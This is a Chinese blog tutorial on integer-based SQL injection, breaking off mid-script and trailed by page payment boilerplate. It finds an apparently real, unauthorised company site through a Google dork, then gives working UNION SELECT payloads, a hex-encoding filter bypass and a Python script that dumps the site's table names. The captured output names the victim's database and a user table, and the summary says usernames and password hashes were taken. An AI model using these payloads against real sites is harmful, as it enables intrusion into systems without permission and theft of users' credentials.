SQL注入-整型注入实例

本文通过一个实际案例展示了如何利用整型SQL注入进行安全测试。首先通过Google Hack语法发现存在PHP SQL注入的站点,然后通过错误信息判断服务器类型和数据库。接着利用Hackbar插件测试确认字段为整型,通过ORDER BY和UNION查询探测表字段数及信息位置。进一步使用information_schema库尝试获取数据库信息,遇到屏蔽特殊字符的问题,转而采用十六进制和注释方式绕过。最后,利用Python脚本列举表名、字段,成功获取用户名和加密密码,并通过 nikto 扫描可能的后台地址,揭示了SQL注入攻击的详细步骤。
摘要由CSDN通过智能技术生成

发现存在SQL注入的站点有很多都是PHP,估计是PHP的占有率太大了,而且建站方便效率高,这就和ios和安卓一样,始终认为安卓安全性差,win和linux,mac一样,始终认为win的安全性差,毕竟占有率摆在这里

通过谷歌来搜索一些存在注入漏洞的网站,用谷歌hack语法来搜索:公司inurl:".php?id="
结尾为公司,url中带有.php?id=的网页 那么我们来搜索下,我们就选择第一个

在这里插入图片描述

先加一个’测试一下,网页直接报错,从报错信息来看,是一个linux服务器,mysql的数据库
在这里插入图片描述

使用hackbar插件继续测试,不报错 继续测试,报错,说明这个字段是一个整型数据
在这里插入图片描述

?id=37 and '1'='1'

为什么说是整型数据呢? 因为假设它是字符型的数据,那么sql语句结尾必定是’符号,那么此时语句应该是这样的,那么报错

select * from 表 where id='37 and '1'='1''

若是整型数据,就是这样子的,那么不会报错,所以这个字段是整型的

select * from 表 where id=37 and '1'='1'

那么这是存在整型的注入点,继续测试

使用order by语句排序来判断当前表的字段数,总共25不报错,26报错,当前表为25个字段
在这里插入图片描述

使用union联合查询,判断信息输出位置,输出的是2和10

and 1=2 每次都需要加是因为需要将前面的sql语句为假,那么则执行后面的sql语句

?id=37 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25

在这里插入图片描述

替换2,和10的位置为database(),和user(),页面输出数据库名称和账号名和地址信息,database为bdm266490221_db

在这里插入图片描述

此时我们就可以使用mysql自带的information_schema库来查询信息了

?id=37 and 1=2 union select 1,TABLE_NAME,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.TABLES where TABLE_SCHEMA='bdm266490221_db' limit 0,1

在这里插入图片描述

发现报错了,很可能屏蔽了’号,那么我们可以将其转化成十六进制数
在这里插入图片描述

再来!

?id=37 and 1=2 union select 1,TABLE_NAME,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.TABLES where TABLE_SCHEMA=0x2762646d3236363439303232315f646227 limit 0,1

依旧没有显示出来,这个地方有两点值得注意

1.可能不支持’"等符号,那么使用0x 十六进制的方法

2.可能sql语句后接了一些其他的语句,那么使用 – 来注释那些语句,这样就可以使用limit 0,1输出指定信息

现在这样子就是没法使用where精确的查找出bdm266490221_db库的所有表名了,那么我换一种方法,直接用脚本列举出所有的表名和对应的db库

使用python构造所有url,请求然后正则匹配需要的信息

and 1=2 union select 1,TABLE_SCHEMA,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.TABLES limit 0,1
for i in range(0,1000):
    try:
        url = """http://www.***.com/about.php?id=37 and 1=2 union select 1,TABLE_SCHEMA,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.TABLES limit %d,%d"""%(i,i+1)
        rsp = requests.get(url=url).text
        info = re.findall(r'(?:page_bt">)(.*)(?:<)|(?:page_text">)(.*)(?:<)',rsp)
        print(info,i)
    except:
        print('error:%d'%i)
[('information_schema', ''), ('', 'CHARACTER_SETS')] 0
[('information_schema', ''), ('', 'COLLATIONS')] 1
[('information_schema', ''), ('', 'COLLATION_CHARACTER_SET_APPLICABILITY')] 2
[('information_schema', ''), ('', 'COLUMNS')] 3
[('information_schema', ''), ('', 'COLUMN_PRIVILEGES')] 4
[('information_schema', ''), ('', 'ENGINES')] 5
[('information_schema', ''), ('', 'EVENTS')] 6
[('information_schema', ''), ('', 'FILES')] 7
[('information_schema', ''), ('', 'GLOBAL_STATUS')] 8
[('information_schema', ''), ('', 'GLOBAL_VARIABLES')] 9
[('information_schema', ''), ('', 'KEY_COLUMN_USAGE')] 10
[('information_schema', ''), ('', 'PARTITIONS')] 11
[('information_schema', ''), ('', 'PLUGINS')] 12
[('information_schema', ''), ('', 'PROCESSLIST')] 13
[('information_schema', ''), ('', 'PROFILING')] 14
[('information_schema', ''), ('', 'REFERENTIAL_CONSTRAINTS')] 15
[('information_schema', ''), ('', 'ROUTINES')] 16
[('information_schema', ''), ('', 'SCHEMATA')] 17
[('information_schema', ''), ('', 'SCHEMA_PRIVILEGES')] 18
[('information_schema', ''), ('', 'SESSION_STATUS')] 19
[('information_schema', ''), ('', 'SESSION_VARIABLES')] 20
[('information_schema', ''), ('', 'STATISTICS')] 21
[('information_schema', ''), ('', 'TABLES')] 22
[('information_schema', ''), ('', 'TABLE_CONSTRAINTS')] 23
[('information_schema', ''), ('', 'TABLE_PRIVILEGES')] 24
[('information_schema', ''), ('', 'TRIGGERS')] 25
[('information_schema', ''), ('', 'USER_PRIVILEGES')] 26
[('information_schema', ''), ('', 'VIEWS')] 27
[('bdm266490221_db', ''), ('', 'gplat_book')] 28
[('bdm266490221_db', ''), ('', 'gplat_news')] 29
[('bdm266490221_db', ''), ('', 'gplat_newsclass')] 30
[('bdm266490221_db', ''), ('', 'gplat_newsclass2')] 31
[('bdm266490221_db', ''), ('', 'href')] 32
[('bdm266490221_db', ''), ('', 'job')] 33
[('bdm266490221_db', ''), ('', 'job_add')] 34
[('bdm266490221_db', ''), ('', 'lawyer_wenda')] 35
[('bdm266490221_db', ''), ('', 'user')] 36
[('', ''), ('', '')] 37
[('', ''), ('', '')] 38

可以看到bdm266490221_db存在的表,user这个可能是存放用户的账号密码的表,那么再查询下它的字段,依旧使用脚本列举

[('bdm266490221_db', ''), ('', 'gplat_book')] 28
[('bdm266490221_db', ''), ('', 'gplat_news')] 29
[('bdm266490221_db', ''), ('', 'gplat_newsclass')] 30
[('bdm266490221_db', ''), ('', 'gplat_newsclass2')] 31
[('bdm266490221_db', ''), ('', 'href')] 32
[('bdm266490221_db', ''), ('', 'job')] 33
[('bdm266490221_db', ''), ('', 'job_add')] 34
[('bdm266490221_db', ''), ('', 'lawyer_wenda')] 35
[('bdm266490221_db', ''), ('', 'user')] 36

继续列举表字段,直接查询字段名

and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7,8,9,TABLE_NAME,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.COLUMNS limit 0,1
for i in range(0,1000
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值